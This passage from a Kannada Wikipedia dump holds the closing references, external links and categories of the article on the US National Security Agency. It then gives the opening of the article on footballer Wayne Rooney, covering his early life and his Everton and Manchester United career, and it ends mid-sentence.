[https://www.nytimes.com/2005/12/25/weekinreview/25bamford.html?_r=1&amp;scp=1&amp;sq=The%20Agency%20That%20Could%20Be%20Big%20Brother.&amp;st=cse Nytimes.com] * [[ಸ್ಯಾಮ್ ಆಡಮ್ಸ್]], ''[[War of Numbers: An Intelligence Memoir]]'' ಸ್ಟೀರ್ ಫೊರ್ಥ್ ; ನಿವ್ Ed ಸಂಪುಟ(ಜೂನ್1, 1998) * [[ಜಾನ್ ಪ್ರಡೊಸ್]], ''ದಿ ಸೊಯಿಯತ್ ಅಂದಾಜು: U.S. ಇಂಟೆಲ್ಲಿಜೆನ್ಸಿ ಅನ್ ಲೈಸಿಸ್ & ರಸಿಯನ್ ಮಿಲಿಟರಿ ಸ್ಟ್ರೆಂಗ್ತ್ '' , ಹಾರ್ಡ್ ವೇರ್ , 367 pages, ISBN 0-385-27211-1, ಡೈಲ್ ಪ್ರೆಸ್ (1982). * [[ವಾಲ್ಟರ್ ಲ್ಯಾಕ್ವೆರ್]], ''ಎ ವರ್ಲ್ಡ್ ಆಫ್ ಸೆಕ್ರೆಟ್ಸ್ '' * [[ಶೆರ್ಮಾನ್ ಕೆಂಟ್]], ''ಸ್ಟ್ರಾಟಿಜಿಕ್ ಇಂಟೆಲಿಜೆನ್ಸಿ ಫಾರ್ ಅಮೆರಿಕಾ ಪಬ್ಲಿಕ್ ಪಾಲಿಸಿ'' * [[ಮ್ಯಾಥಿವ್ ಏಡ್]], [[ದಿ ಸೆಕ್ರೆಟ್ ಸೆಂಟ್ರಿ]]: ದಿ ಅನ್ ಟೊಲ್ಡ್ ಹಿಸ್ಟ್ರಿ ಆಫ್ ದಿ ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ , 432 pages, ISBN 978-1596915152, ಲೂಮ್ಸ್ ಪ್ರೆಸ್ಸ್ (June 9, 2009) ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{commons |Category: NSA images}} {{wikinews | NSA to participate in U.S. cybersecurity}} * [http://www.nsa.gov/ NSA ಕಚೇರಿ ಸೈಟ್] * [http://www.archives.gov/research/guide-fed-records/groups/457.html ರಿಕಾರ್ಡ್ಸ್ ಆಫ್ ದಿ ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಏಜಎನ್ಸಿ /ಸೆಂಟ್ರಲ್ ಸೆಕ್ಯುರಿಟಿ ಸರ್ವಿಸ್] * [http://history.sandiego.edu/gen/20th/nsa.html NSA ಇತಿಹಾಸ ] {{Webarchive|url=https://web.archive.org/web/20080515111519/http://history.sandiego.edu/gen/20th/nsa.html |date=2008-05-15 }} * [http://history.sandiego.edu/gen/text/coldwar/nsa-charter.html ದಿ NSA ಚಾರ್ಟರ್ ] * [http://www.thememoryhole.org/nsa/origins_of_nsa.htm "ದಿ ಒರಿಜಿನ್ಸ್ ಆಫ್ ದಿ ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ, 1940-1952"] {{Webarchive|url=https://web.archive.org/web/20080103233603/http://www.thememoryhole.org/nsa/origins_of_nsa.htm |date=2008-01-03 }} —ನ್ಯುವ್ಲಿ ದಿಕ್ಲಾಸಿಫೈಡ್ ಬುಕ್-ಲೆಂಗ್ತ್ ರಿಪೊರ್ಟ್ ಪ್ರೊವೈಡೆಡ್ ಬೈ''[http://www.thememoryhole.org/ ದಿ ಮೆಮರಿ ಹೋಲ್]'' . * [http://www.gwu.edu/~nsarchiv/ ದಿ ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಆರ್ಚಿವ್, ಜಾರ್ಜ್ ವಾಶಿಂಗ್ಟನ್ ಯುನ್ವರ್ಸಿಟಿಯಲ್ಲಿ] * {{cite web |url=http://www.intelligence.gov/1-members_nsa.shtml |title=United States Intelligence Community: Who We Are / NSA section |archiveurl=https://web.archive.org/web/20060925221125/http://www.intelligence.gov/1-members_nsa.shtml |archivedate=2006-09-25}} * [http://www.fas.org/irp/eprint/nsa-interview.pdf ಫರ್ಸ್ಟ್ ಪರ್ಸನ್ ಅಕೌಂಟ್ ಆಫ್ NSA ಇಂಟರಿವ್ ಅಂಡ್ ಕ್ಲಿಎರನ್ಸ್] ಜನವರಿ 2004 * [[ಜ್ಸೇಮ್ಸ್ ಬ್ಯಾಮ್ ಫೊರ್ಡ್]] [https://www.theatlantic.com/doc/200604/nsa-surveillance ಬಿಗ್ ಬ್ರದರ್ ಈಸ್ ಲಿಸ್ನಿಂಗ್ ] [[ದಿ ಅಟ್ಲಾಂಟಿಕ್]], April 2006 * [http://www.prx.org/pieces/19730 ಜೇಮ್ಸ್ ಬ್ಯಾಮ್ ಫೊರ್ಡ್ ಇನ್ಸೈಡ್ ದಿ ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ (ಉಪನ್ಯಾಸ)] [[ACLU]], [[KUOW-FM]], [[PRX]], [[NPR]], ಫೆಬ್ರವರಿ 24, 2007 (53: ಮಿನ್ಯುಟ್ಸ್) * ದಿ [[ಸೆಂಟರ್ ಫಾರ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಅಂಡ್ ಸೆಕ್ಯುರಿಟಿ ಸ್ಟಡೀಸ್]] ಟ್ರೇನ್ಸ್ ನ್ಯು ಅನಲಿಸ್ಟ್ಸ್ ಇನ್ [[ಇಂಟೆಲಿಜೆನ್ಸ್ ಆನ್ ಲೈಸಿಸ್]] {{Template group |list = {{DOD agencies}} {{Intelligence agencies of USA}} {{Signals intelligence agencies}} {{United States topics}} {{coord|39.108705646052|N|76.77016458628501|W|region:US-MD_type:landmark|display=title}} }} [[ವರ್ಗ:ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆ]] [[ವರ್ಗ:ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಡಿಪಾರ್ಟ್ ಮೆಂಟ್ ಆಫ್ ಡಿಫೆನ್ಸ್ ಏಜೆನ್ಸೀಸ್]] [[ವರ್ಗ:ಸಿಗ್ನಲ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಏಜೆನ್ಸೀಸ್]] [[ವರ್ಗ:ಮಾಸ್ ಸರ್ವೆಲ್ಲನ್ಸ್]] [[ವರ್ಗ:ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಗವ್ರ್ನ್ ಮೆಂಟ್ ಸಿಕ್ರೆಸಿ]] [[ವರ್ಗ:ಸರ್ಕಾರಿ ಸಂಸ್ಥೆಗಳು ಆರಂಭಗೊಂಡಿದ್ದು 1949ರಲ್ಲಿ]] [[ವರ್ಗ:ಸೂಪರ್ ಕಂಪೂಟರ್ ಸೈಟ್ಸ್]] [[ವರ್ಗ:ಕಂಪೂಟರ್ ಸೆಕ್ಯುರಿಟಿ ಆರ್ಗೈನೈಸೇಶನ್ಸ್]] [[ವರ್ಗ:ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]] c52k2zoxf44h0zag1tet860snjx4368 ವೇಯ್ನ್ ರೂನಿ 0 23475 1116480 1073836 2022-08-23T13:33:57Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Football biography 2 | playername = Wayne Rooney | image = [[ಚಿತ್ರ:Rooney 2010.jpg|170px]] | fullname = Wayne Mark Rooney | dateofbirth = {{birth date and age|df=yes|1985|10|24}} | cityofbirth = [[Croxteth]], [[Liverpool]] | countryofbirth = [[ಇಂಗ್ಲೆಂಡ್]] | height = {{convert|5|ft|10|in|m|2|abbr=on}} | position = [[Forward (association football)|Striker]] | currentclub = [[Manchester United F.C.|Manchester United]] | clubnumber = 10 | youthyears1 = 1996–2002 |youthclubs1 = [[Everton F.C.|Everton]] | years1 = 2002–2004 |clubs1 = [[Everton F.C.|Everton]] |caps1 = 67 |goals1 = 15 | years2 = 2004– |clubs2 = [[Manchester United F.C.|Manchester United]] |caps2 = 189 |goals2 = 91<!-- LEAGUE ONLY --> | nationalyears1 = 2003– |nationalteam1 = [[England national football team|England]] |nationalcaps1 = 58 |nationalgoals1 = 25 | pcupdate = 18:44, 09 May 2010 (UTC) | ntupdate = 01:44, 10 March 2010 (UTC) }} '''ವೇಯ್ನ್ ಮಾರ್ಕ್ ರೂನೇ''' (ಜನನ 1985 ರ ಅಕ್ಟೋಬರ್ 24) ಒಬ್ಬ [[ಇಂಗ್ಲಿಷ್]] [[ಫುಟ್‌ಬಾಲ್ ಆಟಗಾರ]]. ಪ್ರಸ್ತುತ ಇವರು ಇಂಗ್ಲೀಷ್ [[ಪ್ರೀಮಿಯರ್ ಲೀಗ್]] ಕ್ಲಬ್ [[ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್]] ಹಾಗೂ [[ಇಂಗ್ಲೆಂಡ್ ರಾಷ್ಟ್ರೀಯ ತಂಡ]]ದಲ್ಲಿ [[ಸ್ಟ್ರೈಕರ್]] ಆಗಿ ಆಡುತ್ತಿದ್ದಾರೆ. ಇವರು ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು [[ಎವರ್ಟೊನ್]] ಜೊತೆಗೆ ಆರಂಭಿಸಿದರು. ಅವರ ಯುವ ತಂಡವನ್ನು ತನ್ನ 10 ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಸೇರಿದರು ಮತ್ತು ಪದೋನ್ನತಿ ಮೂಲಕ ಅಭ್ಯುದಯ ಹೊಂದಿದರು. ಅವರು ತಮ್ಮ ವೃತ್ತಿಗೆ 2002 ರಲ್ಲಿ ಪ್ರವೇಶಿಸಿದರು. ಅಲ್ಲದೆ, ಇವರು ಮೊದಲ ಗೋಲ್ ಪಡೆಯುವ ಮೂಲಕ ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಇತಿಹಾಸದಲ್ಲಿ ಗೋಲ್ ಮಾಡಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಕೀರ್ತಿಗೆ ಆ ಋತುವಿನಲ್ಲಿ ಪಾತ್ರರಾದರು. ತಕ್ಷಣ ಅವರು [[ಮರ್ಸಿಸೈಡ್]] ಕ್ಲಬ್‌ನಲ್ಲಿ ಎರಡು ಸಮಯಗಳನ್ನು ಕಳೆಯುವ ಮೂಲಕ ಎವರ್ಟೊನ್ ನ ಪ್ರಥಮ ತಂಡದ ಭಾಗವಾಗಿಬಿಟ್ಟರು. 2004-05 ನೇ ವರ್ಷದ ಸಮಯ ಆರಂಭವಾಗುವ ಮೊದಲು ಅವರು 25.6 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಹಣಕ್ಕಾಗಿ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಗೆ ತೆರಳಿದರು. ಅಲ್ಲದೆ, ಪ್ರಥಮ ತಂಡ ಪ್ರಮುಖ ಸದಸ್ಯರಾಗಿ ಹೊರಹೊಮ್ಮಿದರು. ಇದರ ನಂತರ ಅವರು 2[[007-08 ರ ಯುಇಎಫ್ಎ ಚಾಂಪಿಯನ್ ಲೀಗ್]] ಹಾಗೂ ಇತರ [[ಲೀಗ್ ಕಪ್‌ಗಳು]] ಸೇರಿದಂತೆ ಮೂರು ಬಾರಿ ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಪಂದ್ಯ ಗೆದ್ದರು. ವೈಯಕ್ತಿಕವಾಗಿ ರೂನೇ ಅವರು ಕೂಡ [[ಪಿಎಫ್ಎ ಆಟಗಾರರ ‘ವರ್ಷದ ಆಟಗಾರ’]] ಹಾಗೂ ‘2009-10 ನೇ ಸಾಲಿನ [[ಎಫ್‌ಡಬ್ಲ್ಯೂಎ ವರ್ಷದ ಫುಟ್ ಬಾಲ್ ಆಟಗಾರ]] ಪ್ರಶಸ್ತಿ ಪಡೆದರು. ಅವರ ಕ್ಲಬ್ ನಲ್ಲಿ ಹಾಗೂ ದೇಶದ ಮುಖ್ಯ ಆಟಗಾರರಾಗಿ ಶೀಘ್ರ ಬೆಳವಣಿಗೆಗೆ ಕಂಡ ಶ್ರೇಯಸ್ಸನ್ನು ಅವರು ಪಡೆದರು. ರೂನೇ ಅವರು ಇಂಗ್ಲೆಂಡ್ ತಂಡಕ್ಕೆ 2003 ರಲ್ಲಿ ಪ್ರವೇಶ ಪಡೆದರು. ಯುಇಎಫ್ಎ ಯುರೋ 2004 ದಲ್ಲಿ ಅವರು ಸ್ಪರ್ಧೆ ನೀಡಿ ಗೋಲು ಗಳಿಸಿದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಮನ್ನಣೆ ಗಳಿಸಿದರು. ಇಂಗ್ಲೆಂಡ್ ತಂಡಕ್ಕೆ ಅವರು ಪುನಃ ಪುನಃ ಪ್ರವೇಶ ಪಡೆದರು. 2006 ರ ಫಿಫಾ ವಿಶ್ವ ಕಪ್ ಆಡಲು ಅವಕಾಶ ಪಡೆದರು. == ಆರಂಭಿಕ ಜೀವನ == [[ಕ್ರೊಕ್ಸ್‌ಟೆತ್]], [[ಲಿವರ್‌ಪೂಲ್]] ಮರ್ಸಿಸೈಡ್ ನಲ್ಲಿ ರೂನೇ ಜನಿಸಿದರು. ಇವರು ಐರಿಶ್ ಕ್ಯಾಥೋಲಿಕ್ ಕುಲದ ಥೋಮಸ್ ವೇಯ್ನ್ ಹಾಗೂ ಜೇನೆಟ್ ಮಾರಿ ರೂನೇ (ನೀ ಮೊರೇ) ದಂಪತಿಯ ಮೊದಲ ಮಗ. ಅವರು ಕ್ರೊಕ್ಸಟೆತ್ ನಲ್ಲಿ ತಮ್ಮ ತಮ್ಮಂದಿರಾದ ಗ್ರಾಯಿಮ್ ಹಾಗೂ [[ಜಾನ್]] ಜೊತೆಗೆ ನೆಲೆಸಿದರು. ಈ ಮೂವರೂ [[ಡೆ ಲಾ ಸಲ್ಲೆ ಶಾಲೆ]]ಯಲ್ಲಿ ಓದಿದರು.<ref>{{Cite web |url=http://www.newsoftheworld.co.uk/0502_graham_rooney.shtml |title=''ರೂ ಬೀನ್ ಹ್ಯಾಡ್'' ನ್ಯೂಸ್ ಆಫ್ ದ ವರ್ಲ್ಡ್‌ |access-date=2010-05-28 |archive-date=2008-06-15 |archive-url=https://web.archive.org/web/20080615151846/http://www.newsoftheworld.co.uk/0502_graham_rooney.shtml |url-status=dead }}</ref><ref>[http://news.sky.com/skynews/article/0,,30200-1312932,00.html ''ರೂನೀಸ್ ಬ್ರದರ್ ಸೆಟ್ ಟು ಪ್ಲೇ ಫಾರ್ ಐರ್ಲ್ಯಾಂಡ್'' ] {{Webarchive|url=https://web.archive.org/web/20200123000126/https://news.sky.com/ |date=2020-01-23 }} ಸ್ಕೈ ನ್ಯೂಸ್‌</ref> ವೈಯ್ನ್ ಅವರು ಸ್ಥಳೀಯ [[ಎವರ್‌ಟೊನ್]] ಕ್ಲಬ್ ಬೆಂಬಲದೊಂದಿಗೆ ಬೆಳೆದರು. ಇವರ ಬಾಲ್ಯದ ನಾಯಕ ಎಂದರೆ [[ಡಂಕನ್ ಫರ್ಗುಸನ್]].<ref>{{cite web |date=13 June 2008 |url=http://fourfourtwo.com/interviews/webexclusives/105/article.aspx |title= Wayne Rooney Interview |publisher=FourFourTwo |accessdate=13 June 2008 }}</ref> == ಕ್ಲಬ್ ವೃತ್ತಿಜೀವನ == === ಎವೆರ್ಟೋನ್ === ಲಿವರ್ ಪೂಲ್ ಶಾಲಾ ಹುಡುಗರ ತಂಡದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ಫಲಿತಾಂಶ ಪಡೆದ ನಂತರ ರೋನೇ ಅವರು 10 ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ಎರರ್ಟೋನ್ ನಿಂದ ಶಾಲಾ ಹುಡುಗರ ಟರ್ಮ್ಸ್‌ಗೆ ಸಹಿ ಮಾಡಿದರು.<ref>{{cite news |url=http://www.findarticles.com/p/articles/mi_qn4158/is_20061024/ai_n16798326 |title=Rooney at 21 |first=Andy |last=Hunter |work=[[The Independent]] |date=24 October 2006}}</ref> ಅವರು ಯುವ ತಂಡದ ಭಾಗವಾಗಿದ್ದರು. [[ಎಫ್ಎ ಯುವ‌ಕಪ್]] ಪಂದ್ಯದಲ್ಲಿ ಉತ್ತಮ ಸ್ಕೋರ್ ಪಡೆದ ನಂತರ ಅವರು ''‘Once a Blue, always a Blue’'' ಎಂದು ಬರೆಯಲ್ಪಟ್ಟ ಉಣ್ಣೆಯ ಟಿ ಶರ್ಟನ್ನು ಹೊರತಂದರು.<ref>{{cite web |date=1 September 2005 |url=http://www.toffeeweb.com/players/past/Rooney.asp |title=Everton Past Players: Wayne Rooney |publisher=ToffeeWeb |accessdate=22 March 2007 |archive-date=2 ಏಪ್ರಿಲ್ 2007 |archive-url=https://web.archive.org/web/20070402000203/http://www.toffeeweb.com/players/past/Rooney.asp |url-status=dead }}</ref> ಅವರು 17 ವರ್ಷದೊಳಗಿನವರಾಗಿದ್ದಾಗ ಅವರು 17 ವರ್ಷದೊಳಗಿನವರಾಗಿದ್ದ ಕಾರಣ ವೃತ್ತಿ ಒಪ್ಪಂದ ಮಾಡಿಕೊಳ್ಳಲು ಅರ್ಹತೆ ಪಡೆಯಲಿಲ್ಲ. ಅವರು ವಾರಕ್ಕೆ 80 ಪೌಂಡ್ ಗಳಿಗಾಗಿ ಆಡುತ್ತಿದ್ದರು. ಮತ್ತು ಅವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ದೇಶದಲ್ಲಿಯೇ ಆಡಳಿತ ವಂಚಿತ ಪ್ರದೇಶದಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು. 2002 ರ ಅಕ್ಟೋಬರ್ 19 ರಂದು ಅವರ 17 ನೇ ಹುಟ್ಟುಹಬ್ಬದ ದಿನಕ್ಕಿಂತ 5 ದಿನಗಳ ಮೊದಲು ರೋನೇ ಅವರು ರೇನಿಂಗ್ ಲೀಗ್ ಚಾಂಪಿಯನ್ ಆಗಿದ್ದ [[ಆರ್ಸೆನಾಲ್]] ವಿರುದ್ಧ ಪಂದ್ಯದ ಗೆಲುವಿಗೆ ಅಗತ್ಯವಾಗಿದ್ದ ಗೋಲು ಬಾರಿಸಿದರು. ಅಲ್ಲದೆ, ಆರ್ಸೆನಾಲ್ ತಂಡದ ಸತತ 30 ಪಂದ್ಯಗಳಿಂದ ಅಜೇಯ ಗೆಲುವಿನ ಓಟಕ್ಕೆ ಅಂತ್ಯ ಹಾಡಿದರು. ಇದು ರೂನೇ ಅವರನ್ನು ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಇತಿಹಾಸದಲ್ಲಿ ಗೋಲು ಪಡೆದ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಹೆಗ್ಗಳಿಕೆ ತಂದುಕೊಟ್ಟಿತು. ಈ ದಾಖಲೆಯು ನಂತರ ಎರಡು ಬಾರಿ ಮೀರಿಸಲ್ಪಟ್ಟಿತು. [[ಜೇಮ್ಸ್ ಮಿಲ್ನರ್]] ಹಾಗೂ [[ಜೇಮ್ಸ್ ವಾಗ್ಹಾನ್]] ಅವರು ಈ ದಾಖಲೆ ಮುರಿದರು.<ref>ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌[http://news.bbc.co.uk/sport1/hi/football/eng_prem/2317767.stm | ಫೂಟ್‌ಬಾಲ್‌‍ | Eng Prem | ರೂನೀ ಎಂಡ್ಸ್ ಅರ್ಸೆನಾಲ್ಸ್ ರನ್]</ref> ರೂನೇ ‘ಬಿಬಿಸಿ ಕ್ರೀಡೆ 2002 ರ [[ವರ್ಷದ ಯುವ ವ್ಯಕ್ತಿ]]’ ಗೆ ಹೆಸರು ನೋಂದಾಯಿಸಲ್ಪಟ್ಟರು. ಅವರು ಈ ಋತುವಿನಲ್ಲಿ 33 ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಆಟಗಳನ್ನು ಆಡಿ 6 ಗೋಲುಗಳನ್ನು ಬಾರಿದರು. 2003-04 ರ ಸಮಯದ ನಂತರ ರೂನೇ ಅವರು ಎವರ್ಟೋನ್ ತಂಡ ಯೂರೋಪಿಯನ್ ಸ್ಪರ್ಧೆಗೆ ಅರ್ಹತೆ ಪಡೆಯದಕ್ಕಾಗಿ ವರ್ಗಾವಣೆ ಕೇಳಿದರು. (ಅವರು 7 ನೇ ಮತ್ತು ಹಿಂದಿನ ಸಮಯವನ್ನು ಮುಗಿಸಿದ್ದರು. ಕೇವಲ ಯುಇಎಫ್ಎ ಕಪ್‌ನಲ್ಲಿ ತಪ್ಪಿಸಿಕೊಂಡಿದ್ದರು. ಆದರೆ, 2003-04 ರಲ್ಲಿ ಕಟ್ಟುನಿಟ್ಟಾಗಿ ಗಡಿಪಾರನ್ನು ತಪ್ಪಿಸಿಕೊಂಡರು ಮತ್ತು 17 ನೇ ವಯಸ್ಸನ್ನು ಪೂರೈಸಿದರು) ರೂನೇ ಅವರು ಎವರ್ಟೋನ್ ನಿಂದ ವರ್ಗಾವಣೆ ಬಯಸಿದರೂ ಕೂಡ 50 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಗಿಂತ ಕಡಿಮೆ ಶುಲ್ಕ ಇದ್ದ ಕಾರಣ ಎವರ್ಟೋನ್ ತಿರಸ್ಕರಿಸಿತು. 2004 ರ ಆಗಸ್ಟ್ ನಲ್ಲಿ ಕ್ಲಬ್ ನಿಂದ ನೀಡಲ್ಪಟ್ಟ ಮೂರು ವರ್ಷಗಳ ಕಾಲದ ವಾರಕ್ಕೆ 12 ಸಾವಿರ ಪೌಂಡ್ ಒಪ್ಪಂದದ ಅವಕಾಶವನ್ನು ಮ್ಯಾಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಹಾಗೂ [[ನ್ಯೂಕಾಸಲ್ ಯುನೈಟೆಡ್]] ಗೆ ಸಹಿ ಹಾಕುವ ಕಾರಣಕ್ಕಾಗಿ ರೂನೇ ಅವರ ಏಜೆಂಟ್ ನಿರ್ಲಕ್ಷಿಸಿದ. ''[[ದಿ ಟೈಮ್ಸ್]]'' ಪತ್ರಿಕೆಯು ರೂನೇ ಅವರು ನ್ಯೂ ಕ್ಯಾಸಲ್ ಜೊತೆಗೆ 18.5 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಗೆ ಸಹಿ ಹಾಕಲು ಒಪ್ಪಿಕೊಂಡಿದ್ದಾರೆ ಎಂದು ವರದಿ ಮಾಡಿತು. ಆದರೆ, ಅಂತ್ಯದಲ್ಲಿ ಮ್ಯಾಂಚೆಸ್ಟರ್ ತಂಡವು ಬೆಲೆ ಸಮರದ ಯುದ್ಧವನ್ನು ಗೆದ್ದುಕೊಂಡಿತು. ಮತ್ತು ಎವರ್ಟೋನ್ 25.6 ಮಿಲಿಯನ್ ಪೌಂಡ್ ಗೆ ವ್ಯವಹಾರ ಕುದುರಿಸಿತು.<ref>{{cite web |date=11 October 2005 |url=http://dps.twiihosting.net/manutd/doc/content/doc_10_139.pdf |title=Manchester United plc Report & Accounts 2005 |publisher=Manchester United plc |accessdate=16 November 2006 |format=[[Portable Document Format|PDF]] |archive-date=14 ಜೂನ್ 2007 |archive-url=https://wayback.archive-it.org/all/20070614042728/http://dps.twiihosting.net/manutd/doc/content/doc_10_139.pdf |url-status=dead }}</ref> ಅವರ ಮಾರಾಟದ ಋತುವಿನಲ್ಲಿ ಎವರ್ಟೋನ್ ತಂಡವು ಅರ್ಥಗರ್ಭಿತ ಸಾಲದಿಂದ ಆರ್ಥಿಕವಾಗಿ ನರಳುತ್ತಿತ್ತು. ಆದರೆ, ಈ ವ್ಯವಹಾರವು ಕ್ಲಬ್ ನ ಆರ್ಥಿಕತೆ ತಿರುಗಲು ಕಾರಣವಾಯಿತು. ಈ ಒಬ್ಬ ಆಟಗಾರನಿಗೆ ಹಾಗೂ 20 ವರ್ಷದ ಒಳಗಿನ ವ್ಯಕ್ತಿಗೆ ಪಾವತಿಸಿದ ಅತಿ ಹೆಚ್ಚಿನ ಶುಲ್ಕ ಇದಾಗಿತ್ತು. ರೂನೇ ಅವರು ಎವರ್ಟೊನ್ ಬಿಟ್ಟು ಹೊರಟಾಗ ಅವರಿಗೆ ಕೇವಲ 18 ವರ್ಷ ವಯಸ್ಸಾಗಿತ್ತು.<ref>{{cite news |first=Phil |last=McNulty |url=http://news.bbc.co.uk/sport1/hi/football/3607620.stm |title=Rooney worth the fight |date=14 August 2004 |publisher=[[BBC Sport]] |accessdate=14 February 2007}}</ref> ಎವರ್ಟೊನ್ ನಲ್ಲಿನ ಕೊನೆಯ ಋತುವಿನಲ್ಲಿ ಅವರು 34 ಪ್ರೀಮಿಯರ್ ಲೀಗ್‌ಗಳಲ್ಲಿ 8 ಗೋಲುಗಳನ್ನು ಹೊಡೆದರು.<ref>[http://www.sporting-heroes.net/football-heroes/displayhero_club.asp?HeroID=43293 ವೇಯ್ನ್‌ ರೂನೀ – ಎವರ್ಟೋನ್‌ ಎಫ್‌‍ಸಿ] ಫೂಟ್‌ಬಾಲ್‌‍ ಹೀರೋಸ್</ref> [[2006 ರಲ್ಲಿ ರೂನೇ ಬರೆದ ಆತ್ಮಕತೆ]]ಯನ್ನು ಆಧಾರದಲ್ಲಿಟ್ಟುಕೊಂಡು ಅಲ್ಲಿಯ ''[[ದಿ ಡೈಲಿ ಮೇಲ್]]'' ಪೀತ ಪತ್ರಿಕೆಯು ರೂನೇ ಅವರು ಕ್ಲಬ್ ಬಿಡಲು ಇದ್ದ ಕಾರಣಗಳನ್ನು ಮಾಧ್ಯಮಕ್ಕೆ ಬಿಡುಗಡೆ ಮಾಡಿದ ಆರೋಪವನ್ನು ತರಬೇತುದಾರನ ಮೇಲೆ ಹೊರಿಸಿ ವರದಿ ಪ್ರಕಟಿಸಿತು. ಇದರಿಂದ 2006 ರ ಸೆಪ್ಟೆಂಬರ್ 1 ರಂದು ಎವರ್ಟೋನ್ ವ್ಯವಸ್ಥಾಪಕ [[ಡೇವಿಡ್ ಮೋಯೆಸ್]] ಅವರು ರೂನೇ ವಿರುದ್ಧ ಮಾನನಷ್ಟ ಮೊಕದ್ದಮೆ ಹೂಡಿದರು.<ref>{{cite web |author=Paolo Bandini & agencies |title=Rooney book could be pulped|work=[[The Guardian]] |accessdate=1 September 2006|date=1 September 2006 |url=http://books.guardian.co.uk/news/articles/0,,1862946,00.html}}</ref> 2008 ರ ಜೂನ್ 3 ರಂದು ಪ್ರಕರಣವು ನ್ಯಾಯಾಲಯದಲ್ಲಿ 5 ಲಕ್ಷ ಪೌಂಡ್ ಗೆ ಮುಗಿಸಲ್ಪಟ್ಟಿತು. ರೂನೇ ಅವರು ಮೋಯೆಸ್ ಅವರನ್ನು ''ಸುಳ್ಳಿಗಾಗಿ'' ಪುಸ್ತಕದಲ್ಲಿ ಕ್ಷಮಾಪಣೆ ಕೋರಿದರು.<ref name="moyes">[http://www.telegraph.co.uk/news/newstopics/celebritynews/2069407/Wayne-Rooney-settles-autobiography-libel-dispute-with-Everton-manager-David-Moyes.html ವೇಯ್ನ್‌ ರೂನೀ ಸೆಟಲ್ಸ್ ಆಟೋಬಯಾಗ್ರಫಿ ಲೇಬಲ್ ಡಿಸ್ಪ್ಯೂಟ್] {{Webarchive|url=https://web.archive.org/web/20080606071213/http://www.telegraph.co.uk/news/newstopics/celebritynews/2069407/Wayne-Rooney-settles-autobiography-libel-dispute-with-Everton-manager-David-Moyes.html |date=2008-06-06 }} – ದ ಟೆಲೆಗ್ರಾಫ್‌, 3 ಜೂನ್‌ 2008</ref> === ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ === ==== 2000 ರಿಂದ ==== [[ಚಿತ್ರ:Wayne Rooney (Broken Foot).JPG|thumb|ರೂನೀ ತಮ್ಮ ಒಡೆದ ಪಾದಕ್ಕೆ ಚಿಕಿತ್ಸೆ ಪಡೆಯುತ್ತಿದ್ದಾರೆ]] ರೂನೇ ಅವರು 2004 ರ ಸಪ್ಟೆಂಬರ್ 28 ರಂದು ಯುನೈಟೆಡ್ ಗೆ ತಮ್ಮ ಪ್ರವೇಶ ಮಾಡಿದರು. ಅಂದು ಚಾಂಪಿಯನ್ ಲೀಗ್‌ನ ಗ್ರುಪ್ ಹಂತದಲ್ಲಿ ಫನರ್ಬಾನ್ಸ್ ವಿರುದ್ಧ ಗೆಲುವು ಸಾಧಿಸಿದರು ಮತ್ತು ಒಂದು ಸಹಾಯದೊಂದಿಗೆ ಮೂರು ಗೋಲ್ ಗಳನ್ನು ಹೊಡೆದರು. ಅವರ ಮೊದಲ ಋತುವು [[ಓಲ್ಡ್ ಟ್ರಾಫೋರ್ಡ್]] ನಲ್ಲಿ ಗೆಲುವಿಲ್ಲದೆ ಮುಗಿಯಿತು. ಯುನೈಟೆಡ್ ಲೀಗ್‌ನಲ್ಲಿ ಕೇವಲ ಮೂರನೇ ಸ್ಥಾನಗಳಿಸಲು ಸಾಧ್ಯವಾಯಿತು. (1992 ರಿಂದ ಚಾಂಪಿಯನ್ ಅಥವಾ ರನ್ನರ್ ಅಪ್ ಆಗುತ್ತಿದ್ದರು) ಮತ್ತು [[ಯುಇಎಫ್ಎ ಚಾಂಪಿಯನ್ ಲೀಗ್‌ನ]] ಕೊನೆಯ ಎಂಟರಲ್ಲಿ ಅಭಿವೃದ್ಧಿ ಸಾಧಿಸಲು ವಿಫಲರಾದರು. ಕಪ್ ಸ್ಪರ್ಧೆಗಳಲ್ಲಿ ಯುನೈಟೆಡ್ ಹೆಚ್ಚಿನ ಗೆಲುವು 